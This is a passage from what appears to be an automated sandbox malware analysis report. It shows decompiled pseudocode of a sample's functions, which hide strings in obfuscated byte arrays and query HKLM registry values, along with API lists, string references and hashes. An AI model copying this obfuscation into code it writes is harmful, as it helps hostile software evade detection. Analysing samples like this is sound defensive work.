				intOrPtr _t162;
				short _t165;
				void* _t167;
				long _t180;
				void* _t184;
				void* _t185;
				signed int _t186;
				void* _t190;
				signed char _t191;
				signed char _t192;
				intOrPtr _t195;
				intOrPtr _t197;
				intOrPtr _t205;
				intOrPtr _t206;
				intOrPtr _t207;
				long _t218;
				void* _t221;
				signed char _t224;
				short _t226;
				void* _t231;
				void* _t233;
				void* _t244;
				void* _t247;
				void* _t248;
				void* _t251;
				intOrPtr _t252;
				void* _t254;
				void* _t255;
				void* _t256;
				void* _t257;

				_t162 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t255 + 0x88)) = _t162;
				_push(__ecx);
				_pop(_t251);
				 *((char*)(_t255 + 0x31)) = 0x2c;
				 *((char*)(_t255 + 0x32)) = 0x7c;
				 *((char*)(_t255 + 0x35)) = 0x7c;
				 *((char*)(_t255 + 0x36)) = 0x2c;
				 *((char*)(_t255 + 0x4b)) = 0x2c;
				_push(__edi);
				 *((char*)(_t255 + 0x34)) = 0x54;
				 *((char*)(_t255 + 0x37)) = 0xc;
				 *((char*)(_t255 + 0x38)) = 0x12;
				 *((char*)(_t255 + 0x3b)) = 0xe7;
				 *((char*)(_t255 + 0x3c)) = 0x50;
				 *((char*)(_t255 + 0x3d)) = 0x8d;
				 *((char*)(_t255 + 0x3e)) = 0x53;
				 *((char*)(_t255 + 0x3f)) = 0x29;
				 *(_t255 + 0x40) = 0xa2;
				 *((char*)(_t255 + 0x41)) = 0xa8;
				 *((char*)(_t255 + 0x42)) = 0x4e;
				 *((char*)(_t255 + 0x43)) = 0x45;
				 *((char*)(_t255 + 0x44)) = 0xc5;
				 *((char*)(_t255 + 0x45)) = 0x81;
				 *((char*)(_t255 + 0x46)) = 9;
				 *((char*)(_t255 + 0x47)) = 0xb3;
				 *((char*)(_t255 + 0x48)) = 0xdc;
				 *((char*)(_t255 + 0x49)) = 0x50;
				 *((char*)(_t255 + 0x4a)) = 0x2a;
				 *((char*)(_t255 + 0x4b)) = 0xc2;
				 *((char*)(_t255 + 0x4c)) = 5;
				 *((char*)(_t255 + 0x4d)) = 0x69;
				 *((char*)(_t255 + 0x4e)) = 0x76;
				 *((char*)(_t255 + 0x50)) = 0x20;
				 *((char*)(_t255 + 0x51)) = 0x30;
				 *((char*)(_t255 + 0x52)) = 0x70;
				 *((char*)(_t255 + 0x53)) = 0x9e;
				 *((char*)(_t255 + 0x54)) = 0x5a;
				 *((char*)(_t255 + 0x55)) = 0x4c;
				 *((char*)(_t255 + 0x56)) = 0xd3;
				 *((char*)(_t255 + 0x57)) = 0x82;
				 *((char*)(_t255 + 0x58)) = 0x4f;
				 *((char*)(_t255 + 0x59)) = 0x90;
				 *((char*)(_t255 + 0x64)) = 0xff;
				 *((char*)(_t255 + 0x65)) = 0x23;
				 *((char*)(_t255 + 0x66)) = 0xca;
				 *((char*)(_t255 + 0x67)) = 0x48;
				 *((char*)(_t255 + 0x68)) = 0x45;
				 *((char*)(_t255 + 0x69)) = 0xc5;
				 *((char*)(_t255 + 0x6a)) = 0x26;
				 *((char*)(_t255 + 0x6b)) = 0x5e;
				 *(_t255 + 0x6c) = 0xc;
				 *((char*)(_t255 + 0x6d)) = 0xc0;
				 *((char*)(_t255 + 0x6e)) = 0x10;
				 *((char*)(_t255 + 0x6f)) = 0x18;
				 *((char*)(_t255 + 0x70)) = 0xc4;
				 *((char*)(_t255 + 0x71)) = 0xbd;
				 *((char*)(_t255 + 0x72)) = 0x17;
				 *((char*)(_t255 + 0x73)) = 0xe9;
				 *((char*)(_t255 + 0x74)) = 0x9e;
				 *((char*)(_t255 + 0x75)) = 0xee;
				 *((char*)(_t255 + 0x76)) = 0x64;
				 *((char*)(_t255 + 0x77)) = 0xa9;
				 *((char*)(_t255 + 0x78)) = 0x74;
				 *((char*)(_t255 + 0x79)) = 0x15;
				 *((char*)(_t255 + 0x7a)) = 0x48;
				 *((char*)(_t255 + 0x7b)) = 0xb1;
				 *((char*)(_t255 + 0x7c)) = 0x6a;
				 *((char*)(_t255 + 0x7d)) = 5;
				 *((char*)(_t255 + 0x7e)) = 0xeb;
				 *((char*)(_t255 + 0x7f)) = 0x40;
				 *((char*)(_t255 + 0x80)) = 0;
				 *((char*)(_t255 + 0x81)) = 0x16;
				_t165 =  *0x431f38; // 0x2d2c
				 *((char*)(_t255 + 0x82)) = 0xf9;
				 *((char*)(_t255 + 0x83)) = 0xd4;
				 *((char*)(_t255 + 0x84)) = 0xb;
				 *((char*)(_t255 + 0x85)) = 0x2b;
				 *((char*)(_t255 + 0x86)) = 0x8e;
				 *((char*)(_t255 + 0x87)) = 0xea;
				 *((char*)(_t255 + 0x88)) = 0x1d;
				 *((char*)(_t255 + 0x89)) = 0x70;
				_t218 = 0;
				do {
					 *((intOrPtr*)(_t255 + _t218 + 0x34)) =  *((intOrPtr*)(_t255 + _t218 + 0x34)) +  *((intOrPtr*)(_t255 + _t218 + 0x64));
					 *((intOrPtr*)(_t255 + _t218 + 0x35)) =  *((intOrPtr*)(_t255 + _t218 + 0x35)) +  *((intOrPtr*)(_t255 + _t218 + 0x65));
					_t218 = _t218 + 2;
					_t165 = _t165 + 0xda;
				} while (_t218 < 0x26);
				_t252 =  *0x431f34; // 0x32
				 *((char*)(_t255 + 0x5c)) = 0x56;
				 *((char*)(_t255 + 0x28)) = 0x56;
				 *((char*)(_t255 + 0x2e)) = 0xbc;
				 *((char*)(_t255 + 0x23)) = 0xbc;
				_t221 = 0;
				 *((char*)(_t255 + 0x5d)) = 0x65;
				 *((char*)(_t255 + 0x5e)) = 0x72;
				 *((char*)(_t255 + 0x5f)) = 0x73;
				 *((char*)(_t255 + 0x60)) = 0x69;
				 *((char*)(_t255 + 0x61)) = 0x6f;
				 *((char*)(_t255 + 0x62)) = 0x6e;
				 *((char*)(_t255 + 0x63)) = 0;
				 *0x431f34 = _t252 + 0x32;
				 *((char*)(_t255 + 0x29)) = 0x99;
				 *((char*)(_t255 + 0x2a)) = 0x50;
				 *((char*)(_t255 + 0x2b)) = 0xde;
				 *((char*)(_t255 + 0x2c)) = 0x57;
				 *((char*)(_t255 + 0x2d)) = 0x88;
				 *((char*)(_t255 + 0x2f)) = 0xad;
				 *((char*)(_t255 + 0x30)) = 0x41;
				 *((char*)(_t255 + 0x31)) = 0xf4;
				 *((char*)(_t255 + 0x32)) = 0xf3;
				 *(_t255 + 0x1c) = 0xf7;
				 *((char*)(_t255 + 0x1d)) = 0xd7;
				 *((char*)(_t255 + 0x1e)) = 0x16;
				 *((char*)(_t255 + 0x1f)) = 0x75;
				 *(_t255 + 0x20) = 0xe;
				 *((char*)(_t255 + 0x21)) = 0xea;
				 *((char*)(_t255 + 0x22)) = 0xba;
				 *((char*)(_t255 + 0x24)) = 0x22;
				 *((char*)(_t255 + 0x25)) = 0x71;
				 *((char*)(_t255 + 0x26)) = 0xd;
				_t167 = _t165 + 0x4af;
				do {
					 *((intOrPtr*)(_t255 + _t221 + 0x28)) =  *((intOrPtr*)(_t255 + _t221 + 0x28)) +  *((intOrPtr*)(_t255 + _t221 + 0x1c));
					_t221 = _t221 + 1;
				} while (_t221 < 0xb);
				 *((char*)(_t255 + 0x24)) = 0x41;
				 *((char*)(_t255 + 0x25)) = 0x63;
				 *((char*)(_t255 + 0x26)) = 0x74;
				 *((char*)(_t255 + 0x27)) = 0x69;
				 *((char*)(_t255 + 0x28)) = 0x76;
				 *((char*)(_t255 + 0x29)) = 0x65;
				 *((char*)(_t255 + 0x2a)) = 0x4d;
				 *((char*)(_t255 + 0x2b)) = 0x41;
				 *((char*)(_t255 + 0x2c)) = 0;
				 *0x431f38 = _t167 + 0x3d5;
				 *(_t255 + 0x20) = 0xff;
				 *(_t255 + 0x1c) = 0;
				_push(HeapAlloc(GetProcessHeap(), 8, 0xff));
				_pop(_t254);
				_t180 = RegOpenKeyExA(0x80000002, _t255 + 0x40, 0, 1, _t255 + 0x10); // executed
				_t247 = GetLastError;
				if(_t180 != 0) {
					 *((intOrPtr*)(_t251 + 0xb4)) = GetLastError();
				}
				if(RegQueryValueExA( *(_t255 + 0x14), _t255 + 0x6c, 0, _t255 + 0x1c, _t254, _t255 + 0x18) == 0) {
					_t184 = E00425A4D(0, _t247, _t251, _t254, 0x42e310);
					_t256 = _t255 + 8;
					if(_t184 != 0) {
						_t207 = E004259C0(_t184);
						_t256 = _t256 + 4;
						 *((intOrPtr*)(_t251 + 0xa4)) = _t207;
					}
					_t185 = E00425A4D(0, _t247, _t251, 0, 0x42e310);
					_t257 = _t256 + 8;
					if(_t185 != 0) {
						_t206 = E004259C0(_t185);
						_t257 = _t257 + 4;
						 *((intOrPtr*)(_t251 + 0xa8)) = _t206;
					}
					_t186 =  *0x431f34; // 0x32
					_t224 =  *0x431f30; // 0x0
					 *0x431f30 = _t224 & _t186 *  *0x431f2c & 0x00000050;
					asm("pushad");
					asm("popad");
					_t226 = 0x77;
					 *0x431f38 = _t226;
					_t190 = E00425A4D(0, _t247, _t251, 0, 0x42e310);
					_t255 = _t257 + 8;
					if(_t190 != 0) {
						_t205 = E004259C0(_t190);
						_t255 = _t255 + 4;
						 *((intOrPtr*)(_t251 + 0xac)) = _t205;
					}
					 *(_t251 + 0xb8) = 1;
					 *((intOrPtr*)(_t251 + 0xb0)) = 0x19;
				} else {
					 *((intOrPtr*)(_t251 + 0xb4)) = GetLastError();
				}
				_t191 =  *0x431f2c; // 0x0
				_t192 = _t191;
				 *0x431f2c = _t192;
				 *0x431f30 = _t192 & 0x00000002;
				_t155 = _t251 + 0xb4; // 0x431d4c
				_t248 = _t155;
				 *0x431f38 =  *0x431f38;
				 *0x431f34 = 0;
				_t195 = E0041F020(_t255 + 0x2c, _t248);
				_push(_t248);
				_push(_t255 + 0x20);
				_t231 = _t251;
				 *((intOrPtr*)(_t251 + 0xbc)) = _t195;
				 *((intOrPtr*)(_t251 + 0xc0)) = E0041F100(_t231);
				_t197 =  *0x431f34; // 0x32
				_push( *0x431f30);
				_pop(_t233);
				_t244 = 0x77;
				 *0x431f2c = _t197 + 0x50;
				 *0x431f38 = _t244 - _t233;
				HeapFree(GetProcessHeap(), 0, _t254);
				RegCloseKey( *(_t255 + 0x10));
				return E00424873(0,  *((intOrPtr*)(_t255 + 0x8c)));
			}

0x00421556
0x0042155e
0x00421567
0x00421568
0x0042156b
0x0042156f
0x00421573
0x00421577
0x0042157d
0x00421587
0x00421588
0x0042158d
0x00421592
0x00421597
0x0042159c
0x004215a1
0x004215a6
0x004215ab
0x004215b0
0x004215b5
0x004215ba
0x004215bf
0x004215c4
0x004215c9
0x004215ce
0x004215d3
0x004215d8
0x004215dd
0x004215e2
0x004215e7
0x004215ec
0x004215f0
0x004215f5
0x004215fa
0x004215ff
0x00421604
0x00421608
0x0042160c
0x00421611
0x00421616
0x0042161b
0x00421620
0x00421625
0x0042162a
0x0042162f
0x00421634
0x00421639
0x0042163d
0x00421642
0x00421647
0x0042164c
0x00421651
0x00421656
0x0042165b
0x00421660
0x00421665
0x0042166a
0x0042166f
0x00421674
0x00421679
0x0042167d
0x00421682
0x00421687
0x0042168c
0x00421691
0x00421696
0x0042169a
0x0042169f
0x004216a4
0x004216a8
0x004216ad
0x004216b2
0x004216ba
0x004216c2
0x004216ca
0x004216d2
0x004216da
0x004216e2
0x004216ea
0x004216f2
0x004216f9
0x00421701
0x00421708
0x00421710
0x00421714
0x0042171c
0x00421724
0x00421727
0x0042172b
0x00421730
0x00421738
0x0042173c
0x00421745
0x0042174b
0x0042174f
0x00421751
0x00421756
0x0042175b
0x00421760
0x00421765
0x0042176a
0x0042176f
0x00421774
0x0042177a
0x0042177f
0x00421784
0x00421789
0x0042178e
0x00421793
0x00421798
0x0042179c
0x004217a1
0x004217a6
0x004217ab
0x004217b0
0x004217b5
0x004217ba
0x004217bf
0x004217c3
0x004217c8
0x004217cd
0x004217d2
0x004217d7
0x004217e0
0x004217e4
0x004217e8
0x004217e9
0x0042181b
0x0042181f
0x00421824
0x00421829
0x0042182e
0x00421833
0x00421838
0x0042183d
0x00421841
0x00421845
0x0042184b
0x00421853
0x00421864
0x00421865
0x00421878
0x00421880
0x00421886
0x0042188a
0x0042188a
0x004218ae
0x004218c3
0x004218c8
0x004218cd
0x004218d0
0x004218d5
0x004218d8
0x004218d8
0x004218e4
0x004218e9
0x004218ee
0x004218f1
0x004218f6
0x004218f9
0x004218f9
0x004218ff
0x0042190a
0x00421918
0x0042191e
0x0042191f
0x00421922
0x0042192b
0x00421932
0x00421937
0x0042193c
0x0042193f
0x00421944
0x00421947
0x00421947
0x0042194d
0x00421957
0x004218b0
0x004218b2
0x004218b2
0x00421961
0x00421969
0x0042196b
0x00421979
0x0042197e
0x0042197e
0x00421988
0x00421997
0x0042199d
0x004219a2
0x004219a7
0x004219a9
0x004219aa
0x004219b5
0x004219c3
0x004219c8
0x004219c9
0x004219cc
0x004219d2
0x004219d9
0x004219e7
0x004219f2
0x00421a10

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00421857
HeapAlloc.KERNEL32(00000000), ref: 0042185E
RegOpenKeyExA.ADVAPI32(80000002,000000A2,00000000,00000001,00000000), ref: 00421878
GetLastError.KERNEL32 ref: 00421888
RegQueryValueExA.ADVAPI32(?,0000000C,00000000,000000F7,00000000,?), ref: 004218A6
GetLastError.KERNEL32 ref: 004218B0

Strings

P, xrefs: 004215DD
P, xrefs: 0042159C
e, xrefs: 00421751
u, xrefs: 004217B5
t, xrefs: 0042168C
^, xrefs: 0042164C
T, xrefs: 00421588
Z, xrefs: 0042160C
E, xrefs: 004215BF
n, xrefs: 0042176A
S, xrefs: 004215A6
+, xrefs: 004216E2
*, xrefs: 004215E2
i, xrefs: 004215F0
#, xrefs: 0042162F
W, xrefs: 00421789
r, xrefs: 00421756
M, xrefs: 00421838
@, xrefs: 004216AD
O, xrefs: 00421620
N, xrefs: 004215BA
e, xrefs: 00421833
d, xrefs: 00421682
t, xrefs: 00421824
E, xrefs: 0042163D
o, xrefs: 00421765
), xrefs: 004215AB
L, xrefs: 00421611
i, xrefs: 00421760
, xrefs: 004215FA
0, xrefs: 004215FF
j, xrefs: 0042169F
v, xrefs: 0042182E
c, xrefs: 0042181F
v, xrefs: 004215F5
i, xrefs: 00421829
", xrefs: 004217C8
&, xrefs: 00421647
s, xrefs: 0042175B

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: $"$#$&$)$*$+$0$@$E$E$L$M$N$O$P$P$S$T$W$Z$^$c$d$e$e$i$i$i$j$n$o$r$s$t$t$u$v$v
API String ID: 1776519057-2463442936
Opcode ID: e5dae056c5789e0f38ae5a9dcd3ea9a4a2313bcb5227e1b3edfe948a5ffdefba
Instruction ID: 626b174277ccf2bd1410bea2c7ab828b4493f4bd7e18192b346b76f7580e5632
Opcode Fuzzy Hash: e5dae056c5789e0f38ae5a9dcd3ea9a4a2313bcb5227e1b3edfe948a5ffdefba
Instruction Fuzzy Hash: 4CD12B6110C7C18DD322D778988879FBFD05BA6318F480E9DF1E45B2E2D3AA8109C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F8E0, Relevance: 72.0, APIs: 9, Strings: 32, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0041F8E0(void* __ecx) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				int _v104;
				int _v108;
				void* _v112;
				void* _v116;
				void* _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t176;
				signed char _t180;
				intOrPtr _t181;
				void* _t183;
				void* _t186;
				signed int _t188;
				long _t200;
				void* _t204;
				void* _t205;
				void* _t207;
				intOrPtr _t222;
				intOrPtr _t223;
				signed char _t230;
				signed int _t234;
				signed int _t246;
				void* _t256;
				void* _t267;
				void* _t269;
				void** _t272;
				void** _t273;
				void** _t274;

				_t272 =  &_v112;
				_t176 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t176;
				_v32 = 0x78;
				_v17 = 0x78;
				_v16 = 0x92;
				_v10 = 0x92;
				_t269 = __ecx;
				_v74 = 0x10;
				_v71 = 0x10;
				_v36 = 0x7b;
				_v35 = 0x3a;
				_v34 = 0x59;
				_v33 = 0xfe;
				_v31 = 0xb0;
				_v30 = 0xb1;
				_v29 = 0x27;
				_v28 = 0x34;
				_v27 = 0xf8;
				_v26 = 0x7f;
				_v25 = 0x7a;
				_v24 = 6;
				_v23 = 0x30;
				_v22 = 0xcb;
				_v21 = 0xef;
				_v20 = 0x87;
				_v19 = 0xae;
				_v18 = 0xc9;
				_v15 = 0x32;
				_v14 = 0xab;
				_v13 = 0x86;
				_v12 = 0x63;
				_v11 = 0x79;
				_v9 = 0x5c;
				_v8 = 0x91;
				_v84 = 0x28;
				_v83 = 0x75;
				_v82 = 0x1f;
				_v81 = 0xaa;
				_v80 = 0x2f;
				_v79 = 0xf1;
				_v78 = 0xe3;
				_v77 = 0x62;
				_v76 = 0x68;
				_v75 = 0xa2;
				_v73 = 0x14;
				_v72 = 0x63;
				_v70 = 0x87;
				_v69 = 0x8e;
				_v68 = 0xe5;
				_v67 = 0xdd;
				_v66 = 0x95;
				_v65 = 0x22;
				_v64 = 0xfd;
				_v63 = 0x5c;
				_v62 = 0xce;
				_v61 = 0xc7;
				_v60 = 0xf;
				_v59 = 0x18;
				_v58 = 0xe0;
				_v57 = 0x31;
				_v56 = 0x91;
				_t180 = 0;
				do {
					 *(_t272 + _t180 + 0x5c) =  *(_t272 + _t180 + 0x5c) ^  *(_t272 + _t180 + 0x2c);
					_t180 = _t180 + 1;
				} while (_t180 < 0x1d);
				_t181 =  *0x431f34; // 0x32
				_t234 =  *0x431f38; // 0x2d2c
				 *0x431f34 = _t181 + 0x32;
				_v84 = 0x2f;
				_v83 = 0x3f;
				_v82 = 0xb5;
				_v81 = 0xfe;
				_v80 = 0xf6;
				_v79 = 0x46;
				_v78 = 0xde;
				_v77 = 0xbf;
				_v76 = 0xa3;
				_v75 = 0x8b;
				_v74 = 0xe9;
				_v73 = 0x55;
				_v72 = 0x65;
				_v71 = 0xc3;
				_v70 = 0xad;
				_v100 = 0x14;
				_v99 = 0x36;
				_v98 = 0xbd;
				_v97 = 0x74;
				_v96 = 0x6f;
				_v95 = 0x28;
				_v94 = 0x96;
				_v93 = 0x97;
				_v92 = 0xc2;
				_v91 = 0xe7;
				_v90 = 0x8a;
				_v89 = 0x14;
				_v88 = 0xa;
				_v87 = 0xab;
				_v86 = 0x53;
				_t183 = 0;
				do {
					 *((intOrPtr*)(_t272 + _t183 + 0x2c)) =  *((intOrPtr*)(_t272 + _t183 + 0x2c)) +  *((intOrPtr*)(_t272 + _t183 + 0x1c));
					 *((intOrPtr*)(_t272 + _t183 + 0x2d)) =  *((intOrPtr*)(_t272 + _t183 + 0x2d)) +  *((intOrPtr*)(_t272 + _t183 + 0x1d));
					 *((intOrPtr*)(_t272 + _t183 + 0x2e)) =  *((intOrPtr*)(_t272 + _t183 + 0x2e)) +  *((intOrPtr*)(_t272 + _t183 + 0x1e));
					 *((intOrPtr*)(_t272 + _t183 + 0x2f)) =  *((intOrPtr*)(_t272 + _t183 + 0x2f)) +  *((intOrPtr*)(_t272 + _t183 + 0x1f));
					 *((intOrPtr*)(_t272 + _t183 + 0x30)) =  *((intOrPtr*)(_t272 + _t183 + 0x30)) +  *((intOrPtr*)(_t272 + _t183 + 0x20));
					_t183 = _t183 + 5;
					_t234 = _t234 + 0x221;
				} while (_t183 < 0xf);
				_v40 = 0xd;
				_v52 = 0xd;
				_push( &_v44);
				_push( &_v52);
				_pop(_t256);
				_t186 = 6;
				 *0x431f38 = _t234;
				_v44 = 0xc4;
				_v43 = 0xd4;
				_v42 = 0x79;
				_v41 = 0xbe;
				_v39 = 0xdb;
				_v51 = 0x7b;
				_v50 = 8;
				_v49 = 0x65;
				_v48 = 0xa;
				_v47 = 0x64;
				_v56 = E0041E250(_t186, _t256);
				_t188 =  *0x431f38; // 0x2d2c
				_v104 = 0x41;
				_v103 = 0x63;
				_v102 = 0x74;
				_v101 = 0x69;
				_v100 = 0x76;
				_v99 = 0x65;
				_v98 = 0x5a;
				_v97 = 0x41;
				_v96 = 0;
				 *0x431f38 = _t188 + 0x3d5;
				_v108 = 0xff;
				_v112 = 0;
				_t267 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t230 = 0x3d; // executed
				_t200 = RegOpenKeyExA(0x80000002,  &_v40, 0, 1,  &_v116); // executed
				if(_t200 != 0) {
					 *((intOrPtr*)(_t269 + 0x14)) = GetLastError();
				}
				if(RegQueryValueExA(_v112,  &_v84, 0,  &_v108, _t267,  &_v104) == 0) {
					_t204 = E00425A4D(_t230, _t267, _t269, _t267, 0x42e310);
					_t273 =  &(_t272[2]);
					if(_t204 != 0) {
						_t223 = E004259C0(_t204);
						_t273 =  &(_t273[1]);
						 *((intOrPtr*)(_t269 + 4)) = _t223;
					}
					_t205 = E00425A4D(_t230, _t267, _t269, 0, 0x42e310);
					_t274 =  &(_t273[2]);
					_t206 = _t205;
					if(_t205 != 0) {
						_t222 = E004259C0(_t206);
						_t274 =  &(_t274[1]);
						 *((intOrPtr*)(_t269 + 8)) = _t222;
					}
					_t207 = E00425A4D(_t230, _t267, _t269, 0, 0x42e310);
					_t208 = _t207;
					if(_t207 != 0) {
						 *((intOrPtr*)(_t269 + 0xc)) = E004259C0(_t208);
					}
					_t230 = 0;
					 *((intOrPtr*)(_t269 + 0x10)) = 0x14;
					 *(_t269 + 0x18) = 1;
				} else {
					 *((intOrPtr*)(_t269 + 0x14)) = GetLastError();
				}
				_t166 = _t269 + 0x14; // 0x431cac
				_push(_t166);
				 *((intOrPtr*)(_t269 + 0x1c)) = E0041F020(_t269, _v52);
				 *((intOrPtr*)(_t269 + 0x20)) = E0041F100(_t269,  &_v108, _t166);
				_t246 =  *0x431f2c; // 0x0
				 *0x431f2c = _t246 * 0x3b11;
				 *0x431f38 = (_t230 * 0x00000038 & _t230 & 0x00000050) *  *0x431f38 +  *0x431f30 | 0x0000005b;
				HeapFree(GetProcessHeap(), 0, _t267);
				RegCloseKey(_v128);
				return E00424873(0, _v20);
			}

0x0041f8e0
0x0041f8e3
0x0041f8e8
0x0041f8ef
0x0041f8f3
0x0041f8fb
0x0041f8ff
0x0041f905
0x0041f90d
0x0041f911
0x0041f916
0x0041f91b
0x0041f920
0x0041f925
0x0041f92a
0x0041f92f
0x0041f934
0x0041f939
0x0041f93e
0x0041f943
0x0041f948
0x0041f94d
0x0041f952
0x0041f957
0x0041f95c
0x0041f961
0x0041f965
0x0041f96a
0x0041f96f
0x0041f974
0x0041f979
0x0041f97e
0x0041f983
0x0041f988
0x0041f98c
0x0041f990
0x0041f995
0x0041f99a
0x0041f99f
0x0041f9a4
0x0041f9a9
0x0041f9ae
0x0041f9b3
0x0041f9b8
0x0041f9bd
0x0041f9c2
0x0041f9c7
0x0041f9cc
0x0041f9d0
0x0041f9d5
0x0041f9da
0x0041f9df
0x0041f9e4
0x0041f9e9
0x0041f9ee
0x0041f9f2
0x0041f9f7
0x0041f9fc
0x0041fa01
0x0041fa06
0x0041fa0b
0x0041fa10
0x0041fa14
0x0041fa16
0x0041fa20
0x0041fa24
0x0041fa25
0x0041fa2a
0x0041fa2f
0x0041fa3b
0x0041fa40
0x0041fa45
0x0041fa4a
0x0041fa4f
0x0041fa54
0x0041fa59
0x0041fa5e
0x0041fa63
0x0041fa68
0x0041fa6d
0x0041fa72
0x0041fa77
0x0041fa7c
0x0041fa80
0x0041fa85
0x0041fa8a
0x0041fa8f
0x0041fa94
0x0041fa99
0x0041fa9e
0x0041faa3
0x0041faa8
0x0041faad
0x0041fab2
0x0041fab7
0x0041fabc
0x0041fac1
0x0041fac6
0x0041facb
0x0041fad0
0x0041fad5
0x0041fae0
0x0041fae4
0x0041faec
0x0041faf4
0x0041fafc
0x0041fb04
0x0041fb18
0x0041fb1b
0x0041fb1f
0x0041fb26
0x0041fb2a
0x0041fb32
0x0041fb37
0x0041fb38
0x0041fb3b
0x0041fb3c
0x0041fb43
0x0041fb48
0x0041fb4d
0x0041fb52
0x0041fb57
0x0041fb5c
0x0041fb61
0x0041fb66
0x0041fb6a
0x0041fb6f
0x0041fb79
0x0041fb7d
0x0041fbb0
0x0041fbb4
0x0041fbb9
0x0041fbbe
0x0041fbc3
0x0041fbc8
0x0041fbcc
0x0041fbd1
0x0041fbd5
0x0041fbda
0x0041fbe0
0x0041fbe8
0x0041fc10
0x0041fc12
0x0041fc14
0x0041fc22
0x0041fc26
0x0041fc26
0x0041fc48
0x0041fc57
0x0041fc5c
0x0041fc61
0x0041fc64
0x0041fc69
0x0041fc6c
0x0041fc6c
0x0041fc76
0x0041fc7b
0x0041fc7e
0x0041fc80
0x0041fc83
0x0041fc88
0x0041fc8b
0x0041fc8b
0x0041fc95
0x0041fc9d
0x0041fc9f
0x0041fcaa
0x0041fcaa
0x0041fcad
0x0041fcaf
0x0041fcb6
0x0041fc4a
0x0041fc4c
0x0041fc4c
0x0041fcc1
0x0041fcc4
0x0041fcd5
0x0041fcdd
0x0041fce6
0x0041fd05
0x0041fd17
0x0041fd25
0x0041fd30
0x0041fd48

Strings

h, xrefs: 0041F9B8
F, xrefs: 0041FA59
Y, xrefs: 0041F920
c, xrefs: 0041F97E
b, xrefs: 0041F9B3
d, xrefs: 0041FB6F
c, xrefs: 0041F9C7
0, xrefs: 0041F952
z, xrefs: 0041F948
2, xrefs: 0041F96F
y, xrefs: 0041FB4D
t, xrefs: 0041FA99
', xrefs: 0041F934
y, xrefs: 0041F983
Z, xrefs: 0041FBCC
{, xrefs: 0041FB5C
c, xrefs: 0041FBB4
", xrefs: 0041F9E4
?, xrefs: 0041FA45
/, xrefs: 0041FA40
(, xrefs: 0041FAA3
o, xrefs: 0041FA9E
i, xrefs: 0041FBBE
{, xrefs: 0041F916
4, xrefs: 0041F939
/, xrefs: 0041F9A4
1, xrefs: 0041FA0B
:, xrefs: 0041F91B
6, xrefs: 0041FA8F
U, xrefs: 0041FA77
v, xrefs: 0041FBC3
t, xrefs: 0041FBB9

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: "$'$($/$/$0$1$2$4$6$:$?$F$U$Y$Z$b$c$c$c$d$h$i$o$t$t$v$y$y$z${${
API String ID: 0-1086536751
Opcode ID: b4d564574e7be2854653f539dca87d7d4518d82a7b870c591e347269f1c7205e
Instruction ID: c4084a4fac5e3b4476cafe6437938d6409a0ccc2792b23ebab15e29e9a21cc15
Opcode Fuzzy Hash: b4d564574e7be2854653f539dca87d7d4518d82a7b870c591e347269f1c7205e
Instruction Fuzzy Hash: C1D1592010C7C19DD322D779984865FBFD05BA6328F485F9DF1E44B3E2D2A9810AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 00415060, Relevance: 59.8, APIs: 10, Strings: 24, Instructions: 314
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00415060(void* __ecx, void* __esi, void* __eflags) {
				void* __ebx;
